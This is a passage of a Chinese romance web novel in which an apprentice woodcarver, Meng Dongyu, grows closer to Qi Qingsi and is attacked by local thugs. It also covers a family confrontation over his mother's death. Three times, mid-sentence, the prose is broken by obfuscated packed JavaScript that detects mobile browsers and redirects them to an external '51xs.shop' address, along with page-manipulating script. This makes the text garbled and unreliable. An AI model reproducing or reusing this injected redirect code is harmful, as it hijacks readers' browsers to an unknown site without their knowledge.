一旁的祁清肆似乎忍不下去了,他厌恶地扫了一眼装模作样的温承卿,而后把手伸在孟冬愉面前,再次开口:“孟冬愉,我手疼。” 他手指上的水泡不知道什么时候被磨破了,内部的液体正在往外溢。 水泡不戳破就可以等着它慢慢愈合,但是一旦磨破,疼是一方面,当务之急是要尽快消毒。 孟冬愉把拿来的缴费单放好,而后向温承卿交待:“不好意思啊师兄,可能得麻烦您自己待一会儿,我陪祁清肆去处理下伤口。” 温承卿颔首应下。 孟冬愉在就近的烧伤科门诊帮他挂了号,排队的人不多,很快就轮到了祁清肆。 坐诊的医生是南江本地人,她看了眼祁清肆的档案,一边帮祁清肆消毒,一边笑着揶揄:“这么常见的小伤,在家里让你女朋友帮忙消消毒就好了嘛,干嘛来医院浪费挂号钱。” 祁清肆看着心情好了不少,他勾着唇角懒散应声:“嗯,我也是这么说的,但是她非要给我挂号。” 孟冬愉:“?” 他还挺会颠倒是非? 出了门诊大楼,孟冬愉心不在焉地往温承卿的病房楼走去。 祁清肆慢悠悠地跟在她身后,忽的扯住了她的手腕,喊她:“孟冬愉。” 孟冬愉回头看他,下意识问道:“怎么了?” 祁清肆松开她的手腕,话里却没有再回病房的意思:“我饿了,陪我回去吃饭。” 饿了? 他来送饭之前没吃过饭吗? 孟冬愉回神过来,有些疑惑:“你不是喝了猪蹄汤吗?” “只尝了一口,没饱。”祁清肆面不改色地解释,而后又反问她,“还有,你不饿吗?” 为了迎接安松柏一行人的到来,她中午饭吃得很早,此刻确实有些饥肠辘辘。 只是温承卿还在挂水,她也答应了安松柏留下来照顾他,不可能就这么一走了之。 孟冬愉摇了摇头:“留师兄一个人在病房不太好。” 祁清肆提出了一个解决方案:“胡杭在停车场等着,等下让他上去帮着照看一会儿。” 孟冬愉再次摇头否决:“胡杭和师兄也不认识,还是不要麻烦他了。” 祁清肆没有原先的无理取闹,想得也很周全:“喂饭你不方便,那他上个厕所什么的,你留下来方便吗?” “要是觉得麻烦胡杭,帮他打把游戏就好了。” 孟冬愉最终被他给说服,跟着他一起去了地下停车场。 满汀洲距离这家医院也就十几分钟的车程,她回去吃个饭再赶回来应该也耽误不了太多时间。 毕竟她待在病房,也是陪着干等。 回去路上,孟冬愉望着窗外想了很久,还是没忍住开口问他:“你刚才为什么不解释?” 祁清肆闻言挑眉:“解释什么?” 孟冬愉抿了抿唇角:“我不是你女朋友。” 27. 在意 南江的天空总是漂亮得不像话。 落日的橘红余韵和新月初升的雾蓝渐变般铺满天空,又与亮起的街灯交相辉映。 可是孟冬愉此刻并没有心思去欣赏这油画般的美景。 当坐诊医生误解了她和祁清肆的关系时,她并没有像往常一样,下意识地就去反驳。 她心里好像并不排斥被人开这种她和他的玩笑。 就像她在不知不觉中不再排斥他的靠近一样。 眼前仿佛被迷雾遮挡,越是想要自我剖析,就越是觉得无助且心底莫名发慌。 他说拿她当朋友。 可是朋友的界限是什么? 是被人误会了男女关系,却可以什么都不解释,依旧不以为意地和人话家常吗? 然而除此以外,他确实也没说什么出格的话,更没做什么逾距的举动。 车子还在往前行驶,孟冬愉攥紧安全带,等着他的回答。 她迫切地想要为心底的兵荒马乱找到借口,迫切地想要从他口中听到想听的答案。 想听他告诉她,是她想得太多。 祁清肆打着方向盘,坦荡应声:“我知道。” 知道什么? 知道她不是他女朋友吗? 那为什么还顺着医生的话讲下去? 孟冬愉张了张口,又担心问出来会不会显得她自作多情。 十字路口的绿灯变红,祁清肆将车停下,偏头盯着她看:“你想听什么答案?” 他准确无误地将她心底的想法问了出来,目光直白,眼底却藏着让人看不懂的情绪。 孟冬愉下意识别开眼去,直视前方。 南江的道路并不拥挤,四十多秒的红灯此刻却好像被定格了似的,迟迟不变绿。 车内的气氛凝重了片刻,祁清肆再次开口:“孟冬愉,我也会失落。” 车尾的鸣笛声随着他的话语声一同响起,孟冬愉没听清他说了些什么,于是再次侧头看他:“你说什么?” 祁清肆没搭腔,面无表情地转回头,开着车穿过绿灯继续往前行驶。 冗长的安静过后,祁清肆反问般回应了她最初的问题:“被护士喊家属你不也没解释?” “就这么介意被人误会成我的女朋友?” 闻言,孟冬愉微微顿了一下,她摇了摇头想要去反驳,可是话到嘴边却不知道该说些什么。 “你自己说过,让我不要在意别人的看法。”祁清肆余光看了她一眼,接着说,“那我向无关紧要的人解释那么多做什么?” 她最初的目的只是想要明确他和她的关系,想要问清他对她真实的想法。 好让她说服自己他们是朋友,继而安心地继续和他这么相处下去。 可是他的话突然间点醒了她。 问题好像并不是出在他身上。 是她自己过于在意他了。 意识到这一点的孟冬愉有些慌,她试图强迫自己和他撇清关系:“我对你没意思,所以不希望被任何人误会我和你的关系。” 祁清肆猛地刹车,咬了咬牙,而后有些好笑地看着她:“那我现在回去和那个医生解释清楚?” 孟冬愉避开他的视线,侧头看向窗外:“不用了。” 接下来一路无言。 回到满汀洲的时候,童欣瑶正坐在院子里等他们。 见人进了门,童欣瑶飞奔过去,去挽孟冬愉的胳膊,而后不满地抱怨:“冬天姐姐,你们怎么这么久才回来啊?饭菜都冷了。” 孟冬愉闻言有些好奇:“你是特意在等我们吗?” 童欣瑶点了点头:“对啊,祁清肆做好饭就说要去接你回来一起吃。” 接她回来? 他不是去给温承卿送饭的吗? 所以他一开始喊上胡杭一起去医院,就是为了让胡杭替班,换她回来? 孟冬愉看向祁清肆,试图从他那里得到一个准确的答案。 祁清肆头也没回地往客厅走,给了她一个看似完美的理由:“明天童欣瑶开学,让你们今天见最后一面。” “呸呸呸。什么最后一面?祁清肆你诅咒谁呢?”童欣瑶迷信地跺了跺脚,而后拉着孟冬愉一起往里走,“冬天姐姐,你别听他的,我中秋就回来了。” 说完,她又皱着小脸,苦兮兮地补充:“不过,我不在的这些天,你可不能忘了我啊。” 先前在车上的沉闷心情一扫而空,孟冬愉笑着点了点头,承诺道:“嗯,不会的。” 饭菜经过加热重新端上桌,童欣瑶倒是没有一点即将离别的情绪,继续叽叽喳喳地说个不停。 她从木雕店小混混闹事的事件问起,而后摸着下巴自顾自疑惑:“他们都这么张狂了,舅舅竟然还不让报警?” “还有那个卖房子的事情,到底怎么回事啊?怎么听人说好像真和舅妈有关系?” 话说完,应该是意识到祁清肆还在,她立刻转移了话题:“冬天姐姐,你那个什么师兄怎么样了?听说当时现场可危险了。” 孟冬愉将夹起来的青菜放入饭碗中,有些自责地应声:“多亏了他的手及时护住我的头,不然……” 不然后果不堪设想。 重一点铁钉嵌入头颅,轻一点钩子划破脑袋。 饶是孟冬愉这样处事足够冷静的一个人,回想起那一幕,仍然心有余悸。 孟冬愉叹了口气,将心里话讲了出来:“说实话,欠他的这些我不知道要怎么还。” “没关系,时间还长,以后慢慢还。”意识到这个话题依旧沉重,童欣瑶挠了挠头安慰了几句,又开玩笑般将话题往感情层面扯,“但是,冬天姐姐,你可不能想不开,然后选择以身相许哈。” “虽然他救了你是没错,但是我们女人绝不能因为一点感动就随便嫁人。” 话音落,童欣瑶似乎又想到什么,将椅子往孟冬愉身边拉了拉,又换了说法:“不过,我听说你那个师兄又高又帅,人还温柔体贴,你要是喜欢,谈着玩玩也不是不行。” 孟冬愉再次被童欣瑶的恋爱观给惊讶到,她没再解释什么,只是笑着点头应下:“好。” 说起来恋爱,童欣瑶又像是打开了话匣子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128995|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将自己的恋爱史一股脑地倒了出来,最后又八卦般问孟冬愉:“冬天姐姐,你之前谈过恋爱吗?” 孟冬愉闻言愣了一下,而后诚实地点头:“谈过。” 见孟冬愉愿意聊,童欣瑶一下子来了兴致,她双眼放光地紧接着问:“那你前男友是什么类型的呀?” 事情都过去了,孟冬愉不想再去回忆那些难堪,也不想去说他的坏话。 她再次夹了一口面前的青菜,将饭菜咽下去后,给了个正向的答案:“挺温柔的。” 童欣瑶将筷子放下,有些激动地晃了晃孟冬愉的胳膊,仿佛找到了知音似的:“我也对温柔的大哥哥完全没有抵抗力!” “遇到这种就想谈!” 没等孟冬愉说些什么,童欣瑶拍了拍脑袋,再次开口:“诶?你师兄是不是就是这种类型的?” “嘿嘿,说不定你们真能成。” 原本坐在餐桌前一言不发的祁清肆,突然出了声:“你不先问问她怎么分手的?” “不喜欢了就分呗,有什么好问的。”童欣瑶不以为意地撇了撇嘴,“我们美女又不缺人喜欢。” 祁清肆嗤笑一声,将餐桌上的糖醋排骨换到孟冬愉面前,意味深长道:“孟冬愉,只吃青菜不腻吗?就不能换换口味?” 吃青菜为什么会腻? 孟冬愉以为他只是借此让她夹肉菜吃,于是也没多问,只是象征性夹了一块:“谢谢。” 童欣瑶狐疑地看了眼祁清肆,有点为孟冬愉据理力争的意思:“冬天姐姐喜欢什么就是什么,你怎么还强迫人啊?” …… 一顿饭在童欣瑶的叽叽喳喳声中吃完,这顿饭也比预想的花费了更多的时间。 孟冬愉收拾好打算去医院的时候,收到了胡杭的消息,说他已经安全将温承卿送回了酒店。 胡杭帮忙打点好了一切,孟冬愉虽然心怀歉意,但心里悬起的石头总算落了地。 童欣瑶拖着行李箱出门的时候,看孟冬愉闲着,以话还没讲完为由,撒娇般让孟冬愉把她送到巷口。 两人沿着小巷往外走,童欣瑶也并没怎么讲话。 木犀巷这些天开始有了秋意,晚风也逐渐转凉。 穿堂风吹动童欣瑶的裙摆,孟冬愉心底忽的有些怅然。 她当初拖着行李箱走过这条路的时候,并没有想过,会在这里遇到这么一群真挚而热烈的少年。 更没有想过,会在不足一个月的时间里,和他们建立了浓烈的感情;会在面对离别时,产生不舍。 祁清肆送童欣瑶去学校的车就停在巷口。 童欣瑶上车前,朝孟冬愉张开了手臂:“冬天姐姐,你可要想我啊。” 孟冬愉笑着点头,而后轻轻抱了抱她,温声说:“下次见。” 她在这里的日子还长,她们有很多个下次可以相见。 孟冬愉站在原地目送车子发动。 “冬天姐姐,下次见。”童欣瑶透过车窗向孟冬愉挥了挥手,又想起了什么似的,拽了句英文出来,“followyourheart.” 28. 谈话 童欣瑶离开之后,满汀洲一时间冷清了不少。 祁振强的木雕店却热闹了起来。 安松柏在这里待了两天,离开时以担心祁振强忙不过来为由,留下了温承卿和两个资质比较好的徒弟,任凭祁振强使唤,并美其名曰雪中送炭。 孟冬愉继续每天早出晚归跟着祁振强学木雕,同时也将网店运营了起来。 自从上次祁振强公然承认孟冬愉的徒弟身份后,孟冬愉私下里也问过需不需要行拜师礼。 祁振强只是摆了摆手,说不要搞那些虚头巴脑的。 虽然祁振强教学严苛,也很少讲什么夸奖的话,但是确实把孟冬愉当成了传承人培养。 教的都是些实实在在的雕刻工艺。 温承卿手上有伤,不能去干这些力气活,却依旧每天早早地过来旁观祁振强的教学。 同时还让两位师弟跟着多学点。 两位师弟都是活泼外向的人,你一言我一语跟讲相声似的,有时候祁振强听着都绷不住笑。 店内的氛围活络了不少,大家都心照不宣地没再提及小混混闹事。 明明童欣瑶开学了之后,满汀洲的一堆事情都需要祁清肆亲自处理,但他好像依旧很闲似的,天天也往木雕店跑,理由是作为门店代言人为店铺引流。 当然,每次来都免不了和祁振强斗嘴。 而且孟冬愉发现,祁清肆和温承卿看着好像也不怎么对付? 但是祁清肆又主动承包了温承卿的饮食,对他的伤口格外上心。 两位师弟也时常跟着温承卿一起去满汀洲蹭饭,每次都拍马屁似的对祁清肆的手艺赞不绝口。 其中一位师弟看着刚端上桌的黄芪党参鸽子汤,又开始扯话题:“听说鸽子汤对伤口愈合有好处,肆哥也太用心了,竟然还为师兄做了药膳。” 祁清肆没搭腔,却拿起勺子先给孟冬愉盛了一碗。 孟冬愉摇了摇头,把放到她面前的汤碗轻轻推了推:“谢谢,给师兄吃吧,我吃不惯鸽子肉。” 不知道是不忍心还是身体本能的排斥,除了一些餐桌上常见的鸡鸭鱼肉以外,类似于兔肉、狗肉、鸽子肉、甲鱼这些肉类,孟冬愉心底一直都是排斥去尝一尝的。 祁清肆将汤碗中的几块肉夹了出来,又推回她面前:“那就只喝汤。” 这不是为温承卿煲的药膳吗? 为什么非要强迫她吃? 温承卿笑了笑,将祁清肆的心思给拆穿:“鸽子汤对伤口的愈合能力有待考究,但加了黄芪党参,是用来补气血的。” 刚打算盛来尝尝的师弟,连忙把勺子放下:“那我们血气方刚的人,吃了岂不是会流鼻血?” “没那么夸张。”温承卿失笑,“想吃盛一碗就好。” 看着盛汤的师弟还在纠结,另一位师弟把勺子拿了过来:“师哥可是出生在杏林世家,他说能吃你就别犹豫了。” 第一位盛汤的师弟显然不知道这个事情,好奇地问:“杏林世家?” 温承卿摇头解释:“谈不上世家,我父亲和我都没能从事这一行。” 第一位师弟十分不理解:“学中医应该比学木雕赚钱吧?更何况你的祖辈也都是干这一行的,师哥你怎么会选择学木雕?” 温承卿笑着开口:“我没有那方面的天赋。” 另一位师弟将盛好的汤递给温承卿,试图替他辩解:“师哥,你就别谦虚了,您爷爷‘杏林圣手’的名声,南江的老一辈人谁没听过?” “你当初要不是……” 话没说完,就被温承卿打断:“都过去了。” “我本来就是对木雕感兴趣才来学的。” 孟冬愉倒是没怎么听他们说了些什么,她望着面前的那碗汤,蓦然想起了上次生理期,餐桌上多的那些汤。 她对吃食研究并不多,自然也没去注意过什么汤有什么功效。 如今听说这道汤是补气血的,才突然间反应过来,或许当初的那些汤,也都是祁清肆特意为她煲的。 心底一时间五味杂陈。 孟冬愉一直悲观地觉得,没有人会无条件对一个人好,他人所有的善意其实暗中都标了一些或多或少的价码。 所以,比起单方面接受他人的好意,她更喜欢等价交换。 那祁清肆默默为她做的这些事情,她又该拿什么来换呢? 祁清肆敲了敲桌面,将她的思绪唤回:“孟冬愉,再不喝都冷了。” 孟冬愉象征性抿了一口,看着他再次真诚地道谢。 祁清肆见状哼笑:“温承卿还没谢我呢,你谢什么?” 孟冬愉一时间没反过来:“啊?” 祁清肆扯起唇角,似笑非笑地盯着温承卿:“我就是看网上说鸽子汤促进伤口愈合才做的。” 温承卿也没再深究,而是笑着抬手举了举汤碗:“有劳了。” 所以,是她自作多情了? 心底亏欠的火苗被浇灭,孟冬愉暗暗松了一口气。 这顿饭的尾声,祁清肆看着已经放下筷子的温承卿,再次开口:“有空吗?” 温承卿脸上依旧挂着笑意:“可以说没空吗?” “聊聊。”祁清肆下巴点了点门外,而后起身,径直往门外走,像是知道温承卿一定会出来似的。 温承卿确实紧随其后跟了出去。 孟冬愉和两位师弟倒也没好奇他们究竟去聊些什么,也都默契地没去打扰他们。 三人吃完饭,将碗筷放入洗碗机,又一起将餐桌收拾好。 等一切收拾妥当,绕过长廊走到院子里的时候,刚好看到大门外正在谈话的两个人。 听到院子里的动静,两人同时望了过去。 温承卿抽了口烟,而后轻笑出声:“什么条件?” 祁清肆把手中的烟掐灭,看了眼孟冬愉,片刻后才应声:“公平竞争。” - 祁振强的木雕店由于前段时间的直播爆火,店内雕刻的成品已经逐渐卖空。 现如今线上线下销售并行,再加上木雕的工期本就不短,现货销售供不应求,预订单也排了很久。 安松柏留下的徒弟确实解了一些燃眉之急,但是他们终究是要回去的,借人不是长久之计。 当下最重要的是招人,或者让祁振强多收几个有资质的徒弟。 孟冬愉将这个想法和祁振强说了之后,两位师弟开玩笑般问道:“师姐,你这是想赶我们走啊?” 虽然知道他们话里带着调侃的成分,但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144485|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟冬愉还是解释道:“你们是安师叔培养出来的,他那边应该也很多事情要忙,也不能总麻烦你们一直待在我们这儿帮忙。” 其中一位师弟闻言摆了摆手:“师姐,你以为哪家店都像祁师伯这家店这么忙吗?” “在师父那边,我们雕出来的东西全都落灰。说实在的,在这里虽然忙,但是真的充实,我都有点不想回去了。” 另一位师弟看了眼温承卿,而后也点头附和。 温承卿解释:“受各方面影响,现在手工木雕行业确实不景气。” “很多人都是因为热爱入了行,但是因为赚不到钱,作品也无人问津,最后都没能坚持下去。” 孟冬愉原本觉得祁振强店里之所以冷清,是因为他不愿意创新。 其实根据温承卿话想想,若不是因为直播掀起了一波热潮,祁振强的店只靠雕刻创新,估计也就只能勉强维持生计。 木雕手工业者当前面临的困境还是缺乏关注度,缺少引流。 但是直播的爆火是有运气成分在,也是不能完全复刻的。 想要突破这种困境,还是要想想别的办法。 孟冬愉头脑风暴了片刻,看向温承卿提议道:“师兄,我觉得我们可以联合南江的木雕门店,共同举办一场木雕体验活动。” 温承卿眼底闪过一丝惊艳,而后笑着点头:“是个好方法。” 话说完,他又接着问:“不过,祁师伯的门店已经够你忙了,为什么还想着花时间帮助同行?” 闻言,孟冬愉愣了一下,忽然意识到,她自己的心态好像在不知不觉间变了。 她原本只是为了向祁振强证明自己,现在竟然开始想着带动大家一起发展。 以前工作时候的她只想着完成自己分内的事情,其他时候都保持着一副事不关己的模样。 孟冬愉也不太明白为什么来这里不到一个月的时间,自己会发生这样的转变? 是因为觉得亏欠温承卿,所以想帮他吗? 好像也不是。 孟冬愉抿了抿唇角,一时间不知道要怎么回答温承卿的问题。 “我只是单方面好奇,冬愉师妹也不是非要给我个答案。”温承卿笑着解了围,而后转移了话题,“你说的这个活动能展开讲讲吗?” 孟冬愉揉了揉眉心,坦诚道:“我目前只是有个大致的框架,具体的细节可能还要再想想。” 温承卿温和地颔首:“好。需要我的时候可以随时和我讲。” 接下来的两天,孟冬愉的心思都在策划木雕体验活动上。 祁清肆这两天好像也突然忙了起来,每天神龙见首不见尾。 就连孟冬愉向他借电脑,都是通过微信借来的。 由于策划案写得太过投入,回神过来时已经很晚了。 晚饭没来得及吃,孟冬愉换了身衣服,出了满汀洲的大门,打算去秋意街随便吃点什么。 然而,还没走到巷口,就遇到了上次来闹事的那群小混混。 孟冬愉原本打算视而不见,直接略过他们。 但是那群人仿佛特意来堵她一样。 为首的黄毛男人见到孟冬愉,抬手拦住了她的去路:“喂,祁振强的徒弟,想听听你师母的丑闻吗?” 29. 打架 孟冬愉不知道他们来堵她的目的,更不理解关于祁振强的一些前尘往事,为什么要牵扯上她。 但是主动来找她讲这些乱七八糟的,准没什么好事儿。 孟冬愉眼神都没给一个,绕过他,才冷着脸应声:“没兴趣。” 只是刚往前走了两步,就被他手下的人扯着头发拽了回来:“操,你他妈别给脸不要脸。” 黄毛男人朝对孟冬愉动手的小混混踹了一脚,开始唱白脸:“放开她,老子说了不打女人。” 小混混听话地松开她的头发,而后又抬手指着她,瞪着眼警告:“最好给我老实点,我老大是不打女人,但我打人可不分男女。” 头皮上的刺痛促使孟冬愉皱了皱眉,也意识到了当下的局面主动权并不在她的手中。 她掏出手机,质问道:“你们究竟要干什么?就不怕我报警?” “报啊。”黄毛男人无所谓摊了摊手,“我们又没干什么伤天害理的事情,进去了顶多也就关个几天。” 接下来又话锋一转,语气带着威胁:“不过,我们出来之后,你的后果就要比现在惨咯。” 现在有太多的女性,被骚扰或者被伤害后不知道怎么去维权。 就算维权成功了,又要担心会被事后报复。 于是大多数人选择隐忍,然后顶着这些事带来的或多或少的阴影,去生活。 面对他们的威胁,孟冬愉低头输入报警号码,而后按了拨通。 将手机放至耳边,她扯了扯唇角,看着他们冷冷开口:“那就等你们出来了再说。” 耳畔的“嘟嘟”声响了没两秒,手机就被黄毛男人抢了过去,重重地摔在了地上。 黄毛男人好像突然就被惹怒了,他吐了口唾沫,掐着孟冬愉的脖子将她推到墙边:“和那个贱货一样,怪不得祁振强能看得上你。” 夫妻恩怨也好,父子情仇也罢,孟冬愉一直没想过将自己牵扯进去。 上次他们去木雕店闹事,祁振强就说不要报警。 所以她刚才说报警不过是想借此恐吓一下,让他们不要再来纠缠她。 不曾想,他们不但不怕她报警,还反过来恐吓她。 孟冬愉这才当着他们的面把报警电话拨了出去。 只是不知黄毛男人怎么突然就变了嘴脸? 男女力量悬殊,背部重重地撞击到墙面上,喉间的窒息感也同时袭来。 孟冬愉在挣扎中,模模糊糊地听到了黄毛男人的下一句话:“报了警又怎么样?最后不还是被打得更重?” 不像是对她说的,倒像是在通过她问另一个人。 孟冬愉还没来得及反应他究竟讲了些什么,黄毛男人那张脸就突然从她眼前消失。 伴随着耳鸣声,耳畔传来嘭的一声,好像有什么东西被摔到在地。 大脑缺氧导致五感尽失,反应也变得迟钝。 直到落在脖颈上的手松开,得到了氧气,大口地呼吸了片刻,孟冬愉的双目才渐渐恢复清明。 不远处,祁清肆扯着黄毛男人的衣领,屈腿撞击他的腹部,拳头又重重地落到他的脸上。 他周身戾气很重,气压也低得吓人,挥着拳头仿佛要把人往死里砸。 其他的小混混见状先是愣了一下,继而蜂拥而上。 伴随着拳头落到□□上的声音,惨叫声和求饶声接连响起。 这一动静一时间吸引了不少人,这场以一敌多的打斗,最后在警车的鸣笛声中结束。 警察局内做完笔录又签完调解书,黄毛男人抹掉唇角的血迹,吐了口带着血的唾沫,脸上挂着顽劣不堪的笑,朝祁清肆道:“弟弟啊,我是真期待你回去后和祁振强吵架的场面。” 弟弟? 孟冬愉惊讶地侧头,目光从黄毛男人身上移到祁清肆身上,试图去探寻真相。 然而,祁清肆连帽衫的帽子扣在头上,看不清神色,但周身气压依旧凛冽。 他坐在联排凳子上,像没听见似的,一言不发。 黄毛男人见没人理他,看了眼孟冬愉,仿佛一定要激怒祁清肆一样,一字一顿地讽刺:“哦,对了,我发现,你们父子俩一个样,都喜欢捡破鞋穿。” 话音刚落,祁清肆闻言猛地从座位上起身,再次揪住了他的衣领,声音带着点长久没讲话的哑意:“嘴巴给我放干净点。” 一旁的民警连忙将他们拉开,看着祁清肆教育道:“好了,你看看他们几个被你打成什么样了?再打下去真想被拘留啊?” “他们扰乱社会治安,有我们管,你怎么说都不该动手打人。” 祁清肆咬着牙松开了手,又在民警对黄毛他们的教育声中,拿起孟冬愉的包。 他看了眼孟冬愉,下巴点了点门外,径直出了门:“走了。” 他的步伐不快,孟冬愉紧随其后跟了出去,而后小跑两步与他并肩走。 孟冬愉掏出手机搜了个地址出来,再次借着灯光去打量他。 他黑色的连帽衫背后沾了泥土,面料也皱巴巴的,没了平日里的一丝不苟。 虽然方才看起来是他单方面殴打那群小混混,但是毕竟是一对多,他的脸上多少也挂了彩。 尤其眉骨的淤青和唇角的紫红色瘀痕格外显眼。 此外,他抓着她包的那只手,半握成拳,拳头的骨节处磨破了皮,露出红色的血肉。 看上去比烫伤那次要痛许多。 孟冬愉叹了口气,晃了晃手机,提醒道:“祁清肆,附近有药店。” 祁清肆把帽子摘掉,唇角绷成一条直线,看上去情绪并不怎么好。 他走到马路边拦了辆出租车,才开口回应她:“不用,没那么娇气。” 出租车最后停在了祁振强的店门口,孟冬愉正打算开口说先回民宿,就被祁清肆抓着手腕一起上了楼:“陪我一起。” 木雕店的楼上是祁振强的日常住所。 敲门声响起,随后门从里面被打开,祁振强应该是都准备睡了,看到他们,明显愣了一下。 祁清肆见孟冬愉没有要离开的意思,松开了她的手腕,开门见山地质问:“祁振强,当年到底发生了什么?” 祁振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151284|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 强不知道是没听懂还是不愿意回答,看着他脸上的淤青,转移了话题:“脸上怎么回事?” 祁清肆没理会他的关心,眸光晦暗地盯着他,接着问:“我妈究竟怎么了?” “她的死不是意外是不是?” 祁振强皱了皱眉,冷声开口:“不用你管。” “不用我管?”祁清肆有些好笑地重复他的话,而后又一字一句提醒,“祁振强,她是我妈,我有权利知道她真实的死因。” 祁振强铁青着脸,咬定原先的说法:“说了多少遍了,就是意外。” “行,意外。”祁清肆咬着牙点点头,撩起孟冬愉耳前的头发,让她露出脖颈上淡淡的红痕,“你那个混混儿子公然闹事是意外,如今主意都打到你徒弟身上了,还是意外?” 祁振强闻言脸色变了变,似乎有些懵:“什么混混儿子?” “怎么?还不敢承认啊?”祁清肆扯起唇角笑了声,面上带着讥嘲,“要不是他今天喊我弟弟,我还真不知道你还有个私生子。” “瞒得挺好啊,祁振强。” 祁振强脸色有些发白,犹豫了片刻,才开口反驳:“他不是我儿子。” “这不巧了,我也不是你儿子。”祁清肆嗤笑一声,明显不信,“你也是这么不认我的。” 祁振强没再争辩什么,倒是有点妥协的意思:“随你怎么想。” 祁清肆带着点恨意点头,在讲到他母亲的死因时,将语气特意加重:“行,那我就认为你是做了对不起我妈的事情,才导致她自、杀。” “随便吧。”祁振强有些疲惫地摆了摆手,而后又态度强硬地补充,“你说的那个混混的事情我会处理好的,不需要你插手。” 祁清肆不屑地轻哧:“你最好是。” 回去满汀洲的路上,两人并肩走着,谁都没再出声。 一路沉默着走进小院,祁清肆忽的问道:“还痛吗?” 孟冬愉的思绪还停留在他们父子的争吵上,闻声才偏头看他:“什么?” 祁清肆视线从她的脸上往下移到脖颈,淡淡补充:“喉咙。” 孟冬愉抿了抿唇角,本来想说没事,犹豫了片刻,才说:“还好。” 黄毛男人掐她时是用了力气的,当时那一瞬间她真的以为自己会窒息而亡。 以至于现在咽口水时还有点阻塞感。 并不是没事。 祁清肆抬手将她的头发勾起,借着灯光细细去打量她脖子上的红痕,片刻后又问道:“要不要去医院?” 他的垂眼看着她的脖子,由于灯光作用,密长的睫毛在他的眼下形成一片阴翳,遮挡了他的眸色。 脸上的神色辨不清晰,却依旧能感觉到他还在压着火。 孟冬愉摇了摇头,鬼使神差地伸手去碰了碰他唇角的瘀痕,反问道:“你呢?” 手指落到他唇角的那一瞬间,祁清肆身体顿了一下,而后抬眼,对上了她的视线。 片刻后,笑意渐渐渗入眼底,原本凛冽的冷意消融,他勾着唇角,悠悠开口:“孟冬愉,心疼我啊?” 30. 暧昧 心疼? 孟冬愉忽然间发现,心底产生的那种不可名状的情绪,用“心疼”这个词可以准确形容。 她自己都没意识到的举动,自己都没察觉到的情绪,却被他精准识破。 这让她开始有些慌。 这种情绪不该产生,就像当初她察觉到不该对他太过在意一样。 “没有。”孟冬愉避开他的视线,摇头否认,继而错身,往客厅里走。 祁清肆垂头笑了声,反手捉住她的手腕,将她拦下。 他偏头,眉尖微挑,话里带着点激将:“没有就没有,你慌什么?” 他握着她手腕的力道比平日里要重一些,孟冬愉扭了扭胳膊,却没挣脱开。 她深吸了口气,回头看着他,试图用年上者的口吻,与他拉开界限:“时间不早了,早点休息。” 祁清肆依旧没有松手的意思,他的视线下移到自己的手上,神色中染上一丝可怜巴巴:“痛。” 刚刚在警察局他只洗了手,拳头骨节处的伤口并没有上药。 他的肤色本就偏白,此刻拳峰处的血红有些刺眼。 骨关节处磨破皮的疼痛孟冬愉经历过,火辣辣的,要比割伤或者划伤难忍一些。 孟冬愉揉了揉眉心,有些无奈:“刚才有药店你不去。” 自己说的不用,没那么娇气,转头来又要喊痛。 小孩子一样。 见他不吱声,手依旧拉着她的手腕不肯放,孟冬愉叹了口气,妥协般和他商量:“那怎么办?去医院还是去药店?” 祁清肆闻言松开了她的手,努力压着唇角,幽幽开口:“不用,储物间医药箱里有药。” 手腕上的温热终于消失,孟冬愉莫名松了口气,点头叮嘱:“那就行,你等会儿涂一下。” 见她又要走,祁清肆将两只受伤的手都握拳摆在她面前,有些委屈地反问:“我一个人怎么涂?” 多少是因为她而打的人,眼看着他受伤,就这么冷漠地不管不顾,她心底终究是过意不去。 明确了他的意图,孟冬愉犹豫了片刻,再次妥协:“那你先用水清理一下伤口,我去找药。” “嗯。”祁清肆点头,扬起的唇角没能再压住,进客厅之前又顺势问她,“想吃什么?” 一晚上发生了太多的事情,孟冬愉早就忘了她出去的目的就是觅食。 精神处在高度紧张的情况下,大脑又飞速运转,胃里的饥饿感就被掩盖了过去。 经他这么一提醒,孟冬愉才后知后觉地感受到胃里空落落的,还隐隐约约有些灼痛。 孟冬愉抬手揉了揉胃部,视线再次落到他的手上,笃定地总结:“你的手现在不适合做饭。” “不做。”祁清肆勾着唇角应了声,“有什么想吃的,我点了让人送来。” 孟冬愉闻言没再推脱,抿着唇角点了点头:“我吃什么都行。” 在医药箱里找到医用消毒液和几瓶药膏,孟冬愉一起拿着回了客厅。 祁清肆正在沙发上坐着,已经换了衣服,他额前的碎发有些湿,应该是也洗好了手和脸。 